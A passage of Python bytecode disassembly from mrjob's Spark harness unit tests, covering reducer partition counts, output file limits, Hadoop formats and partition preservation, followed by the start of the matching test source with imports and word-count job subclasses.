LOAD_FAST runner CALL_METHOD STORE_FAST default_partitions POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_ATTR _harness_job LOAD_FAST cls LOAD_FAST input_bytes LOAD_FAST num_reducers LOAD_CONST ('input_bytes', 'num_reducers') CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 104 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _count_output_files LOAD_FAST runner CALL_METHOD STORE_FAST part_files POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST part_files LOAD_FAST default_partitions COMPARE_OP != POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST part_files LOAD_FAST num_reducers COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD assertRaises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 58 POP_TOP LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRWordFreqCount LOAD_CONST 0 LOAD_CONST ('num_reducers',) CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 48 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _assert_partition_count_different LOAD_GLOBAL MRWordFreqCount LOAD_CONST 1 LOAD_CONST ('num_reducers',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _assert_partition_count_different LOAD_GLOBAL MRWordFreqCount LOAD_CONST 10 LOAD_CONST ('num_reducers',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _assert_partition_count_different LOAD_GLOBAL MRWordFreqCountWithCombinerCmd LOAD_CONST 1 LOAD_CONST ('num_reducers',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _assert_partition_count_different LOAD_GLOBAL MRWordFreqCountWithCombinerCmd LOAD_CONST 10 LOAD_CONST ('num_reducers',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MaxOutputFilesTestCase' STORE_NAME __qualname__ LOAD_CONST <code object test_single_output_file at 0x7fab81f3bdb0, file "f.py", line 558> LOAD_CONST 'MaxOutputFilesTestCase.test_single_output_file' MAKE_FUNCTION STORE_NAME test_single_output_file LOAD_CONST <code object test_can_reduce_number_of_output_files at 0x7fab81f3bc00, file "f.py", line 570> LOAD_CONST 'MaxOutputFilesTestCase.test_can_reduce_number_of_output_files' MAKE_FUNCTION STORE_NAME test_can_reduce_number_of_output_files LOAD_CONST <code object test_cant_increase_number_of_output_files at 0x7fab81f3bb70, file "f.py", line 582> LOAD_CONST 'MaxOutputFilesTestCase.test_cant_increase_number_of_output_files' MAKE_FUNCTION STORE_NAME test_cant_increase_number_of_output_files LOAD_CONST <code object test_does_not_perturb_job_output at 0x7fab81f3b660, file "f.py", line 597> LOAD_CONST 'MaxOutputFilesTestCase.test_does_not_perturb_job_output' MAKE_FUNCTION STORE_NAME test_does_not_perturb_job_output LOAD_CONST None RETURN_VALUE LOAD_CONST b'one fish\ntwo fish\nred fish\nblue fish\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRWordFreqCount LOAD_FAST input_bytes LOAD_CONST 1 LOAD_CONST ('input_bytes', 'max_output_files') CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 60 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_METHOD _count_output_files LOAD_FAST runner CALL_METHOD LOAD_CONST 1 CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST b'one fish\ntwo fish\nred fish\nblue fish\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRWordFreqCount LOAD_FAST input_bytes LOAD_CONST 5 LOAD_CONST 3 LOAD_CONST ('input_bytes', 'num_reducers', 'max_output_files') CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 62 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_METHOD _count_output_files LOAD_FAST runner CALL_METHOD LOAD_CONST 3 CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST b'one fish\ntwo fish\nred fish\nblue fish\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRWordFreqCount LOAD_FAST input_bytes LOAD_CONST 5 LOAD_CONST 10 LOAD_CONST ('input_bytes', 'num_reducers', 'max_output_files') CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 62 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST self LOAD_METHOD _count_output_files LOAD_FAST runner CALL_METHOD LOAD_CONST 5 CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST b'one fish\ntwo fish\nred fish\nblue fish\n' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRWordFreqCount LOAD_FAST input_bytes LOAD_CONST 1 LOAD_CONST ('input_bytes', 'max_output_files') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRWordFreqCount LOAD_FAST input_bytes LOAD_CONST 5 LOAD_CONST 3 LOAD_CONST ('input_bytes', 'num_reducers', 'max_output_files') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'HadoopFormatsTestCase' STORE_NAME __qualname__ LOAD_NAME abspath LOAD_NAME join LOAD_NAME dirname LOAD_NAME inspect LOAD_METHOD getsourcefile LOAD_NAME MRNickNack CALL_METHOD CALL_FUNCTION LOAD_CONST 'nicknack-1.0.1.jar' CALL_FUNCTION CALL_FUNCTION LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST ('spark.jars', 'spark.executor.cores', 'spark.cores.max') BUILD_CONST_KEY_MAP STORE_NAME SPARK_CONF LOAD_CONST <code object test_hadoop_output_format at 0x7fab81f3b300, file "f.py", line 618> LOAD_CONST 'HadoopFormatsTestCase.test_hadoop_output_format' MAKE_FUNCTION STORE_NAME test_hadoop_output_format LOAD_CONST <code object test_hadoop_output_format_with_compression at 0x7fab640100c0, file "f.py", line 643> LOAD_CONST 'HadoopFormatsTestCase.test_hadoop_output_format_with_compression' MAKE_FUNCTION STORE_NAME test_hadoop_output_format_with_compression LOAD_CONST <code object test_hadoop_input_format at 0x7fab640101e0, file "f.py", line 674> LOAD_CONST 'HadoopFormatsTestCase.test_hadoop_input_format' MAKE_FUNCTION STORE_NAME test_hadoop_input_format LOAD_CONST None RETURN_VALUE LOAD_CONST b'ee eye ee eye oh' STORE_FAST input_bytes LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRNickNack LOAD_FAST input_bytes LOAD_CONST 'local' LOAD_FAST self LOAD_ATTR SPARK_CONF LOAD_CONST ('input_bytes', 'runner_alias', 'spark_conf') CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 128 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertTrue LOAD_FAST runner LOAD_ATTR fs LOAD_METHOD exists LOAD_GLOBAL join LOAD_FAST runner LOAD_METHOD get_output_dir CALL_METHOD LOAD_CONST 'e' CALL_FUNCTION CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertTrue LOAD_FAST runner LOAD_ATTR fs LOAD_METHOD exists LOAD_GLOBAL join LOAD_FAST runner LOAD_METHOD get_output_dir CALL_METHOD LOAD_CONST 'o' CALL_FUNCTION CALL_METHOD CALL_METHOD POP_TOP LOAD_GLOBAL dict LOAD_CONST <code object <genexpr> at 0x7fab81f3ba50, file "f.py", line 636> LOAD_CONST 'HadoopFormatsTestCase.test_hadoop_output_format.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL to_lines LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST output_counts POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST b'2' LOAD_CONST b'2' LOAD_CONST b'1' LOAD_CONST (b'"ee"', b'"eye"', b'"oh"') BUILD_CONST_KEY_MAP STORE_FAST expected_output_counts LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST expected_output_counts LOAD_FAST output_counts CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 24 STORE_FAST line LOAD_FAST line LOAD_METHOD strip CALL_METHOD LOAD_METHOD split LOAD_CONST b'\t' CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST b'one two one two' STORE_FAST input_bytes LOAD_CONST 'org.apache.hadoop.io.compress.GzipCodec' STORE_FAST compression_codec LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRNickNack LOAD_FAST input_bytes LOAD_CONST 'local' LOAD_FAST self LOAD_ATTR SPARK_CONF LOAD_FAST compression_codec LOAD_CONST ('input_bytes', 'runner_alias', 'spark_conf', 'compression_codec') CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 138 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertTrue LOAD_FAST runner LOAD_ATTR fs LOAD_METHOD exists LOAD_GLOBAL join LOAD_FAST runner LOAD_METHOD get_output_dir CALL_METHOD LOAD_CONST 'o' LOAD_CONST 'part*.gz' CALL_FUNCTION CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertTrue LOAD_FAST runner LOAD_ATTR fs LOAD_METHOD exists LOAD_GLOBAL join LOAD_FAST runner LOAD_METHOD get_output_dir CALL_METHOD LOAD_CONST 't' LOAD_CONST 'part*.gz' CALL_FUNCTION CALL_METHOD CALL_METHOD POP_TOP LOAD_GLOBAL dict LOAD_CONST <code object <genexpr> at 0x7fab64010030, file "f.py", line 667> LOAD_CONST 'HadoopFormatsTestCase.test_hadoop_output_format_with_compression.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL to_lines LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST output_counts POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST b'2' LOAD_CONST b'2' LOAD_CONST (b'"one"', b'"two"') BUILD_CONST_KEY_MAP STORE_FAST expected_output_counts LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST expected_output_counts LOAD_FAST output_counts CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 24 STORE_FAST line LOAD_FAST line LOAD_METHOD strip CALL_METHOD LOAD_METHOD split LOAD_CONST b'\t' CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST b'potato tomato' STORE_FAST input_file_bytes LOAD_GLOBAL join LOAD_FAST self LOAD_ATTR tmp_dir LOAD_CONST 'manifest' CALL_FUNCTION STORE_FAST manifest_filename LOAD_GLOBAL join LOAD_FAST self LOAD_ATTR tmp_dir LOAD_CONST 'input1' CALL_FUNCTION STORE_FAST input1_filename LOAD_GLOBAL join LOAD_FAST self LOAD_ATTR tmp_dir LOAD_CONST 'input2' CALL_FUNCTION STORE_FAST input2_filename LOAD_GLOBAL open LOAD_FAST input1_filename LOAD_CONST 'wb' CALL_FUNCTION SETUP_WITH to 66 STORE_FAST input1_file LOAD_FAST input1_file LOAD_METHOD write LOAD_FAST input_file_bytes CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL open LOAD_FAST input2_filename LOAD_CONST 'wb' CALL_FUNCTION SETUP_WITH to 98 STORE_FAST input2_file LOAD_FAST input2_file LOAD_METHOD write LOAD_FAST input_file_bytes CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL open LOAD_FAST manifest_filename LOAD_CONST 'w' CALL_FUNCTION SETUP_WITH to 142 STORE_FAST manifest_file LOAD_FAST manifest_file LOAD_METHOD writelines LOAD_CONST '%s\n' LOAD_FAST input1_filename BINARY_MODULO LOAD_CONST '%s\n' LOAD_FAST input2_filename BINARY_MODULO BUILD_LIST CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_ATTR _harness_job LOAD_GLOBAL MRNickNackWithHadoopInputFormat LOAD_CONST 'local' LOAD_FAST self LOAD_ATTR SPARK_CONF LOAD_FAST manifest_filename BUILD_LIST LOAD_CONST ('runner_alias', 'spark_conf', 'input_paths') CALL_FUNCTION STORE_FAST job LOAD_FAST job LOAD_METHOD make_runner CALL_METHOD SETUP_WITH to 218 STORE_FAST runner LOAD_FAST runner LOAD_METHOD run CALL_METHOD POP_TOP LOAD_GLOBAL dict LOAD_CONST <code object <genexpr> at 0x7fab64010150, file "f.py", line 702> LOAD_CONST 'HadoopFormatsTestCase.test_hadoop_input_format.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL to_lines LOAD_FAST runner LOAD_METHOD cat_output CALL_METHOD CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST output_counts POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST b'2' LOAD_CONST b'2' LOAD_CONST (b'"tomato"', b'"potato"') BUILD_CONST_KEY_MAP STORE_FAST expected_output_counts LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST expected_output_counts LOAD_FAST output_counts CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 24 STORE_FAST line LOAD_FAST line LOAD_METHOD strip CALL_METHOD LOAD_METHOD split LOAD_CONST b'\t' CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'EmulateMapInputFileTestCase' STORE_NAME __qualname__ LOAD_CONST <code object test_one_file at 0x7fab64010390, file "f.py", line 710> LOAD_CONST 'EmulateMapInputFileTestCase.test_one_file' MAKE_FUNCTION STORE_NAME test_one_file LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD makefile LOAD_CONST 'two_lines' LOAD_CONST b'line\nother line\n' CALL_METHOD STORE_FAST two_lines_path LOAD_FAST self LOAD_ATTR _assert_output_matches LOAD_GLOBAL MRCountLinesByFile LOAD_CONST True LOAD_FAST two_lines_path BUILD_LIST LOAD_CONST ('emulate_map_input_file', 'input_paths') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PreservesPartitioningTestCase' STORE_NAME __qualname__ LOAD_CONST <code object mock_rdd at 0x7fab640104b0, file "f.py", line 722> LOAD_CONST 'PreservesPartitioningTestCase.mock_rdd' MAKE_FUNCTION STORE_NAME mock_rdd LOAD_CONST <code object test_run_combiner_with_sort_values at 0x7fab64010540, file "f.py", line 740> LOAD_CONST 'PreservesPartitioningTestCase.test_run_combiner_with_sort_values' MAKE_FUNCTION STORE_NAME test_run_combiner_with_sort_values LOAD_CONST <code object test_run_combiner_with_num_reducers at 0x7fab640105d0, file "f.py", line 743> LOAD_CONST 'PreservesPartitioningTestCase.test_run_combiner_with_num_reducers' MAKE_FUNCTION STORE_NAME test_run_combiner_with_num_reducers LOAD_CONST <code object test_run_combiner_without_sort_values_and_num_reducers at 0x7fab640106f0, file "f.py", line 746> LOAD_CONST 'PreservesPartitioningTestCase.test_run_combiner_without_sort_values_and_num_reducers' MAKE_FUNCTION STORE_NAME test_run_combiner_without_sort_values_and_num_reducers LOAD_CONST (False, None) LOAD_CONST <code object _test_run_combiner at 0x7fab64010810, file "f.py", line 749> LOAD_CONST 'PreservesPartitioningTestCase._test_run_combiner' MAKE_FUNCTION STORE_NAME _test_run_combiner LOAD_CONST <code object _assert_maps_list_to_list_of_same_size at 0x7fab640108a0, file "f.py", line 775> LOAD_CONST 'PreservesPartitioningTestCase._assert_maps_list_to_list_of_same_size' MAKE_FUNCTION STORE_NAME _assert_maps_list_to_list_of_same_size LOAD_CONST <code object test_shuffle_and_sort_with_sort_values at 0x7fab64010930, file "f.py", line 781> LOAD_CONST 'PreservesPartitioningTestCase.test_shuffle_and_sort_with_sort_values' MAKE_FUNCTION STORE_NAME test_shuffle_and_sort_with_sort_values LOAD_CONST <code object test_shuffle_and_sort_with_num_reducers at 0x7fab640109c0, file "f.py", line 784> LOAD_CONST 'PreservesPartitioningTestCase.test_shuffle_and_sort_with_num_reducers' MAKE_FUNCTION STORE_NAME test_shuffle_and_sort_with_num_reducers LOAD_CONST <code object test_shuffle_and_sort_without_sort_values_and_num_reducers at 0x7fab64010ae0, file "f.py", line 787> LOAD_CONST 'PreservesPartitioningTestCase.test_shuffle_and_sort_without_sort_values_and_num_reducers' MAKE_FUNCTION STORE_NAME test_shuffle_and_sort_without_sort_values_and_num_reducers LOAD_CONST (False, None) LOAD_CONST <code object _test_shuffle_and_sort at 0x7fab64010c00, file "f.py", line 790> LOAD_CONST 'PreservesPartitioningTestCase._test_shuffle_and_sort' MAKE_FUNCTION STORE_NAME _test_shuffle_and_sort LOAD_CONST <code object test_run_reducer_with_num_reducers at 0x7fab64010c90, file "f.py", line 811> LOAD_CONST 'PreservesPartitioningTestCase.test_run_reducer_with_num_reducers' MAKE_FUNCTION STORE_NAME test_run_reducer_with_num_reducers LOAD_CONST <code object test_run_reducer_without_num_reducers at 0x7fab64010d20, file "f.py", line 814> LOAD_CONST 'PreservesPartitioningTestCase.test_run_reducer_without_num_reducers' MAKE_FUNCTION STORE_NAME test_run_reducer_without_num_reducers LOAD_CONST (None,) LOAD_CONST <code object _test_run_reducer at 0x7fab64010ed0, file "f.py", line 817> LOAD_CONST 'PreservesPartitioningTestCase._test_run_reducer' MAKE_FUNCTION STORE_NAME _test_run_reducer LOAD_CONST None RETURN_VALUE LOAD_CONST 'combineByKey' LOAD_CONST 'flatMap' LOAD_CONST 'groupBy' LOAD_CONST 'map' LOAD_CONST 'mapPartitions' LOAD_CONST 'mapValues' BUILD_LIST STORE_FAST method_names LOAD_GLOBAL Mock LOAD_FAST method_names LOAD_CONST ('spec',) CALL_FUNCTION STORE_FAST rdd SETUP_LOOP to 52 LOAD_FAST method_names GET_ITER FOR_ITER to 50 STORE_FAST name LOAD_FAST rdd LOAD_GLOBAL getattr LOAD_FAST rdd LOAD_FAST name CALL_FUNCTION STORE_ATTR return_value JUMP_ABSOLUTE POP_BLOCK LOAD_FAST rdd RETURN_VALUE LOAD_FAST self LOAD_ATTR _test_run_combiner LOAD_CONST True LOAD_CONST ('sort_values',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _test_run_combiner LOAD_CONST 1 LOAD_CONST ('num_reducers',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _test_run_combiner CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('_run_combiner',) IMPORT_NAME mrjob.spark.harness IMPORT_FROM _run_combiner STORE_FAST _run_combiner POP_TOP LOAD_FAST self LOAD_METHOD mock_rdd CALL_METHOD STORE_FAST rdd LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST combiner_job LOAD_GLOBAL Mock CALL_FUNCTION LOAD_GLOBAL Mock CALL_FUNCTION BUILD_TUPLE LOAD_FAST combiner_job LOAD_ATTR pick_protocols STORE_ATTR return_value LOAD_FAST _run_combiner LOAD_FAST combiner_job LOAD_FAST rdd LOAD_FAST sort_values LOAD_FAST num_reducers LOAD_CONST ('sort_values', 'num_reducers') CALL_FUNCTION STORE_FAST final_rdd LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST final_rdd LOAD_FAST rdd CALL_METHOD POP_TOP LOAD_CONST False STORE_FAST called_combineByKey SETUP_LOOP to 160 LOAD_FAST rdd LOAD_ATTR method_calls GET_ITER FOR_ITER to 158 UNPACK_SEQUENCE STORE_FAST name STORE_FAST args STORE_FAST kwargs LOAD_FAST called_combineByKey POP_JUMP_IF_FALSE LOAD_FAST name LOAD_CONST 'mapValues' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST args LOAD_CONST 0 BINARY_SUBSCR STORE_FAST f LOAD_FAST self LOAD_METHOD _assert_maps_list_to_list_of_same_size LOAD_FAST f CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'preservesPartitioning' CALL_METHOD LOAD_CONST True CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST name LOAD_CONST 'combineByKey' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST called_combineByKey JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD assertTrue LOAD_FAST called_combineByKey CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST f LOAD_CONST ('k', 'v1') LOAD_CONST ('k', 'v2') BUILD_LIST CALL_FUNCTION STORE_FAST f_of_values LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL type LOAD_FAST f_of_values CALL_FUNCTION LOAD_GLOBAL list CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertEqual LOAD_GLOBAL len LOAD_FAST f_of_values CALL_FUNCTION LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD assertRaises LOAD_GLOBAL TypeError LOAD_FAST f LOAD_CONST 123 CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _test_shuffle_and_sort LOAD_CONST True LOAD_CONST ('sort_values',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _test_shuffle_and_sort LOAD_CONST 1 LOAD_CONST ('num_reducers',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _test_shuffle_and_sort CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('_shuffle_and_sort',) IMPORT_NAME mrjob.spark.harness IMPORT_FROM _shuffle_and_sort STORE_FAST _shuffle_and_sort POP_TOP LOAD_FAST self LOAD_METHOD mock_rdd CALL_METHOD STORE_FAST rdd LOAD_FAST _shuffle_and_sort LOAD_FAST rdd LOAD_FAST sort_values LOAD_FAST num_reducers LOAD_CONST ('sort_values', 'num_reducers') CALL_FUNCTION STORE_FAST final_rdd LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST final_rdd LOAD_FAST rdd CALL_METHOD POP_TOP LOAD_CONST False STORE_FAST called_groupBy SETUP_LOOP to 118 LOAD_FAST rdd LOAD_ATTR method_calls GET_ITER FOR_ITER to 116 UNPACK_SEQUENCE STORE_FAST name STORE_FAST args STORE_FAST kwargs LOAD_FAST called_groupBy POP_JUMP_IF_FALSE LOAD_CONST '.' LOAD_FAST name COMPARE_OP in POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'preservesPartitioning' CALL_METHOD LOAD_CONST True CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST name LOAD_CONST 'groupBy' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST called_groupBy JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD assertTrue LOAD_FAST called_groupBy CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _test_run_reducer LOAD_CONST 1 LOAD_CONST ('num_reducers',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _test_run_reducer CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('_run_reducer',) IMPORT_NAME mrjob.spark.harness IMPORT_FROM _run_reducer STORE_FAST _run_reducer POP_TOP LOAD_FAST self LOAD_METHOD mock_rdd CALL_METHOD STORE_FAST rdd LOAD_CONST <code object make_mock_mrc_job at 0x7fab64010db0, file "f.py", line 822> LOAD_CONST 'PreservesPartitioningTestCase._test_run_reducer.<locals>.make_mock_mrc_job' MAKE_FUNCTION STORE_FAST make_mock_mrc_job LOAD_FAST _run_reducer LOAD_FAST make_mock_mrc_job LOAD_CONST 0 LOAD_FAST rdd LOAD_FAST num_reducers LOAD_CONST ('num_reducers',) CALL_FUNCTION STORE_FAST final_rdd LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST final_rdd LOAD_FAST rdd CALL_METHOD POP_TOP LOAD_CONST False STORE_FAST called_mapPartitions LOAD_CONST True STORE_FAST before_mapPartitions SETUP_LOOP to 148 LOAD_FAST rdd LOAD_ATTR method_calls GET_ITER FOR_ITER to 146 UNPACK_SEQUENCE STORE_FAST name STORE_FAST args STORE_FAST kwargs LOAD_FAST name LOAD_CONST 'mapPartitions' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST called_mapPartitions LOAD_CONST False STORE_FAST before_mapPartitions LOAD_FAST before_mapPartitions POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'preservesPartitioning' CALL_METHOD LOAD_CONST True CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST self LOAD_METHOD assertEqual LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'preservesPartitioning' CALL_METHOD LOAD_GLOBAL bool LOAD_FAST num_reducers CALL_FUNCTION CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD assertTrue LOAD_FAST called_mapPartitions CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Mock CALL_FUNCTION STORE_FAST job LOAD_GLOBAL Mock CALL_FUNCTION LOAD_GLOBAL Mock CALL_FUNCTION BUILD_TUPLE LOAD_FAST job LOAD_ATTR pick_protocols STORE_ATTR return_value LOAD_FAST job RETURN_VALUE
"""Test the Spark Harness.""" import inspect import random import string import json from io import BytesIO from contextlib import contextmanager from os import listdir from os.path import abspath from os.path import dirname from os.path import join from tempfile import gettempdir from shutil import rmtree from unittest import skipIf from mrjob.examples.mr_count_lines_by_file import MRCountLinesByFile from mrjob.examples.mr_nick_nack import MRNickNack from mrjob.examples.mr_nick_nack_input_format import MRNickNackWithHadoopInputFormat from mrjob.examples.mr_word_freq_count import MRWordFreqCount from mrjob.job import MRJob from mrjob.util import cmd_line from mrjob.util import to_lines from tests.mr_counting_job import MRCountingJob from tests.mr_doubler import MRDoubler from tests.mr_no_mapper import MRNoMapper from tests.mr_pass_thru_arg_test import MRPassThruArgTest from tests.mr_streaming_and_spark import MRStreamingAndSpark from tests.mr_sort_and_group import MRSortAndGroup from tests.mr_sort_and_group_reversed_text import MRSortAndGroupReversedText from tests.mr_two_step_job import MRTwoStepJob from tests.mr_word_freq_count_with_combiner_cmd import MRWordFreqCountWithCombinerCmd from tests.py2 import Mock from tests.sandbox import pyspark # None if not installed from tests.sandbox import SandboxedTestCase from tests.sandbox import SingleSparkContextTestCase class MRWordFreqCountCombinerYieldsTwo(MRWordFreqCount): def combiner(self, word, counts): yield (word, sum(counts)) yield (word, 1000) class MRWordFreqCountCombinerYieldsZero(MRWordFreqCount): def combiner(self, word, counts): return class MRWordFreqCountFailingCombiner(MRWordFreqCount): unique_exception_str = "619dc867a1a34793b2157c258c859e78" def combiner(self, word, counts): raise Exception(self.unique_exception_str) 